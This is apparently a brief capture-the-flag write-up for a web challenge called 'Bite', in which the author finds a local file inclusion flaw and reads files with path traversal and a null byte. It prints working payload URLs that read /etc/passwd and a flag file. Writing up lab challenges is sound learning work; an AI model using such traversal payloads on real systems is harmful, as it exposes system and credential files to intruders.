Bite

less than 1 minute read

img

img

When clicking on one of the reference links, the url changes:

jh2i.com:50010/?page=bit

Looks to be pulling the page from the server. Check for LFI

img

No dice there. Let’s append a null byte and see what happens

http://jh2i.com:50010/?page=../../../etc/passwd%00

img

There we go

http://jh2i.com:50010/?page=../../../flag.txt%00

img